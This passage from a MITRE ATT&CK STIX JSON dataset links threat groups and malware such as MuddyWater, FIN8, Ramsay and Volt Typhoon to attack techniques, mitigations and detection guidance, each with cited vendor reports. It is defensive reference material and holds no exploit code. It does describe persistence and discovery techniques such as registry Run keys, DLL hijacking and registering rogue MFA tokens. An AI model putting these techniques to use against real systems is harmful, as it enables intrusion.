2018)","relationship_type":"uses","source_ref":"malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--55d44c4e-c864-4e6f-ac33-62f13cd08f0e","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos MuddyWater May 2019","description":"Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019.","url":"https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html"},{"source_name":"Securelist MuddyWater Oct 2018","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.","url":"https://securelist.com/muddywater/88059/"},{"source_name":"Talos MuddyWater Jan 2022","description":"Malhortra, A and Ventura, V. (2022, January 31). Iranian APT MuddyWater targets Turkish users via malicious PDFs, executables. Retrieved June 22, 2022.","url":"https://blog.talosintelligence.com/2022/01/iranian-apt-muddywater-targets-turkey.html"},{"source_name":"Trend Micro Muddy Water March 2021","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html"},{"source_name":"Reaqta MuddyWater November 2017","description":"Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020.","url":"https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/"},{"source_name":"FireEye MuddyWater Mar 2018","description":"Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-28T19:38:25.385Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has added Registry Run key KCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\SystemTextEncoding to establish persistence.(Citation: FireEye MuddyWater Mar 2018)(Citation: Securelist MuddyWater Oct 2018)(Citation: Talos MuddyWater May 2019)(Citation: Reaqta MuddyWater November 2017)(Citation: Trend Micro Muddy Water March 2021)(Citation: Talos MuddyWater Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--55d5ccb4-b794-467b-b734-fa3763bbdf99","created":"2022-01-09T22:14:54.602Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.677Z","description":"[Zox](https://attack.mitre.org/software/S0672) can download files to a compromised machine.(Citation: Novetta-Axiom)","relationship_type":"uses","source_ref":"malware--fb28627c-d6ea-4c35-b138-ab5e96ae5445","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--55d84559-7bb9-4e17-be60-7694e4219877","type":"relationship","created":"2020-05-28T16:38:03.712Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Eset Ramsay May 2020","url":"https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/","description":"Sanmillan, I.. (2020, May 13). Ramsay: A cyber‑espionage toolkit tailored for air‑gapped networks. Retrieved May 27, 2020."},{"source_name":"Antiy CERT Ramsay April 2020","url":"https://www.programmersought.com/article/62493896999/","description":"Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021."}],"modified":"2021-03-24T20:25:01.467Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) can scan for removable media which may contain documents for collection.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)\t","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--55de5c21-4cb1-4235-89b5-df77dfc7fa90","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Bankshot","description":"Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.","url":"https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"},{"source_name":"US-CERT Bankshot Dec 2017","description":"US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF"}],"modified":"2020-02-18T03:40:29.931Z","description":"[Bankshot](https://attack.mitre.org/software/S0239) gathers system information, network addresses, disk type, disk free space, and the operation system version.(Citation: McAfee Bankshot)(Citation: US-CERT Bankshot Dec 2017)","relationship_type":"uses","source_ref":"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--55df3b40-b130-4313-9064-6b0fc56564d0","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Win Defender Truvasys Sep 2017","description":"Microsoft. (2017, September 15). Backdoor:Win32/Truvasys.A!dha. Retrieved November 30, 2017.","url":"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Truvasys.A!dha"}],"modified":"2020-03-18T16:10:03.095Z","description":"[Truvasys](https://attack.mitre.org/software/S0178) adds a Registry Run key to establish persistence.(Citation: Microsoft Win Defender Truvasys Sep 2017)","relationship_type":"uses","source_ref":"malware--691c60e2-273d-4d56-9ce6-b67e0f8719ad","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--55e1a1e9-689f-4242-8316-d59c309849d6","created":"2024-03-25T21:15:11.206Z","revoked":false,"external_references":[{"source_name":"CISA Scattered Spider Advisory November 2023","description":"CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T21:15:11.206Z","description":"After compromising user accounts, [Scattered Spider](https://attack.mitre.org/groups/G1015) registers their own MFA tokens.(Citation: CISA Scattered Spider Advisory November 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--b4409cd8-0da9-46e1-a401-a241afd4d1cc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--55e34506-746d-4895-928b-72c2e358161d","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east","description":"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.","source_name":"FireEye APT34 Webinar Dec 2017"}],"modified":"2019-09-04T22:55:41.005Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) uses remote services such as VPN, Citrix, or OWA to persist in an environment.(Citation: FireEye APT34 Webinar Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--55e36f24-f7dd-4966-b39f-88349b86fff3","type":"relationship","created":"2020-10-15T12:05:58.903Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-07-28T01:04:39.669Z","description":"Network intrusion detection and prevention systems that can identify traffic patterns indicative of AiTM activity can be used to mitigate activity at the network level.","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--55e67f6b-600a-4196-b497-63019731e66e","type":"relationship","created":"2020-05-28T16:38:03.754Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Eset Ramsay May 2020","url":"https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/","description":"Sanmillan, I.. (2020, May 13). Ramsay: A cyber‑espionage toolkit tailored for air‑gapped networks. Retrieved May 27, 2020."}],"modified":"2021-04-14T19:19:30.115Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) can hijack outdated Windows application dependencies with malicious versions of its own DLL payload.(Citation: Eset Ramsay May 2020)\t","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--55ea8954-9b81-45e4-89c9-a6b55f5b2541","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","source_name":"FireEye Know Your Enemy FIN8 Aug 2016"}],"modified":"2020-03-28T21:28:03.600Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has used scheduled tasks to maintain RDP backdoors.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--55eae56f-41d3-4480-8b5b-0d7794e5c75e","created":"2024-06-26T18:09:33.779Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-26T18:09:33.779Z","description":"(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"malware--e1284931-3f85-4262-a641-9ae8bb0576a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--55ec954d-e553-4055-bc56-56b9dd0c433f","created":"2023-09-06T14:21:40.920Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender Sardonic Aug 2021","description":"Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:34:13.639Z","description":"[Sardonic](https://attack.mitre.org/software/S1085) has the ability to execute the `net view` command.(Citation: Bitdefender Sardonic Aug 2021)","relationship_type":"uses","source_ref":"malware--0c52f5bc-557d-4083-bd27-66d7cdb794bb","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--55f54b3e-7058-4299-98e8-ab33dd42a6ef","created":"2021-12-06T23:14:44.926Z","x_mitre_version":"1.0","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[KOCTOPUS](https://attack.mitre.org/software/S0669) has checked the OS version using `wmic.exe` and the `find` command.(Citation: MalwareBytes LazyScripter Feb 2021)","modified":"2022-04-06T20:00:40.881Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--55f58d30-b633-4094-97bb-6ab872c0f480","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","source_name":"FireEye APT32 May 2017"}],"modified":"2019-07-17T13:11:38.975Z","description":"(Citation: FireEye APT32 May 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"malware--9ca488bd-9587-48ef-b923-1743523e63b2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--55fa32b7-b9d2-4c57-9614-b7793b2770f2","type":"relationship","created":"2019-10-05T02:15:30.004Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Amazon S3 Security, 2019","url":"https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/","description":"Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019."},{"source_name":"Microsoft Azure Storage Security, 2019","url":"https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide","description":"Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20). Azure Storage security guide. Retrieved October 4, 2019."},{"source_name":"Google Cloud Encryption Key Rotation","url":"https://cloud.google.com/kms/docs/key-rotation","description":"Google. (n.d.). Key rotation. Retrieved October 18, 2019."}],"modified":"2020-07-09T14:02:05.436Z","description":"Encrypt data stored at rest in cloud storage.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019) Managed encryption keys can be rotated by most providers. At a minimum, ensure an incident response plan to storage breach includes rotating the keys and test for impact on client applications.(Citation: Google Cloud Encryption Key Rotation)","relationship_type":"mitigates","source_ref":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","target_ref":"attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--55fb787a-6622-43c7-a47d-48b4db7e8d81","type":"relationship","created":"2020-06-10T21:56:40.153Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Telebots Dec 2016","url":"https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/","description":"Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."},{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"modified":"2020-11-30T19:38:30.045Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has tricked unwitting recipients into clicking on spearphishing attachments and enabling malicious macros embedded within files.(Citation: ESET Telebots Dec 2016)(Citation: US District Court Indictment GRU Unit 74455 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--55fc98ea-8269-4ac7-9209-9013de03c955","created":"2024-03-06T19:22:53.800Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Volexity Ivanti Zero-Day Exploitation January 2024","description":"Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.","url":"https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T19:08:27.874Z","description":"[GLASSTOKEN](https://attack.mitre.org/software/S1117) has the ability to decode hexadecimal and Base64 C2 requests.(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)","relationship_type":"uses","source_ref":"malware--554e010d-726b-439d-9a1a-f60fff0cc109","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--55fd3f18-99b6-4c95-a2f3-e28962d73a91","created":"2024-05-16T19:47:45.219Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-16T19:47:45.219Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has targeted the personal emails of key network and IT staff at victim organizations.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--55fe86ac-5f5a-4c6c-a2f9-cd425f18326e","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Tripwire AppUNBlocker","description":"Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.","url":"https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-28T13:39:22.688Z","description":"Monitoring changes to the Windows Registry may reveal malicious root certificate installation. Installed root certificates are located in the Registry under \n```HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\``` and \n```HKLM\\SOFTWARE\\Microsoft\\SystemCertificates\\Root\\Certificates\\``` or ```HKCU\\Policies\\Microsoft\\SystemCertificates\\Root\\Certificates\\```. \n\nThere are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\n* CDD4EEAE6000AC7F40C3802C171E30148030C072","relationship_type":"detects","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--55ffbd77-ec97-4dca-9399-b9e4b62fbbf8","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.youtube.com/watch?v=fevGZs0EQu8","description":"Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.","source_name":"Mandiant FIN5 GrrCON Oct 2016"}],"modified":"2019-04-24T19:41:25.836Z","description":"[FIN5](https://attack.mitre.org/groups/G0053) scans processes on all victim systems in the environment and uses automated scripts to pull back the results.(Citation: Mandiant FIN5 GrrCON Oct 2016)","relationship_type":"uses","source_ref":"intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--560364b1-d3ab-465c-88e8-000a89a7e7d7","type":"relationship","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.841Z","description":"Monitor for changes made to files for unexpected modifications to access permissions and attributes ","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--560a7947-3823-4f2b-8b84-238f9a9a2552","created":"2020-03-17T02:28:29.737Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ProjectSauron Full Report","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf"},{"source_name":"Kaspersky ProjectSauron Technical Analysis","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"},{"source_name":"Threatpost Sauron","description":"Michael Mimoso. (2016, August 8). ProjectSauron APT On Par With Equation, Flame, Duqu. Retrieved January 10, 2024.","url":"https://threatpost.com/projectsauron-apt-on-par-with-equation-flame-duqu/119725/"},{"source_name":"Symantec Remsec IOCs","description":"Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.","url":"http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T16:13:43.582Z","description":"[Remsec](https://attack.mitre.org/software/S0125) is capable of using SMTP for C2.(Citation: Symantec Remsec IOCs)(Citation: Kaspersky ProjectSauron Full Report)(Citation: Kaspersky ProjectSauron Technical Analysis)(Citation: Threatpost Sauron)","relationship_type":"uses","source_ref":"malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8","target_ref":"attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5610e19c-de2e-4b9d-9e10-776e94528b0d","created":"2023-03-20T19:54:31.643Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT29 Nov 2018","description":"Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T17:36:00.344Z","description":"During [C0021](https://attack.mitre.org/campaigns/C0021), the threat actors lured users into clicking a malicious link which led to the download of a ZIP archive containing a malicious .LNK file.(Citation: FireEye APT29 Nov 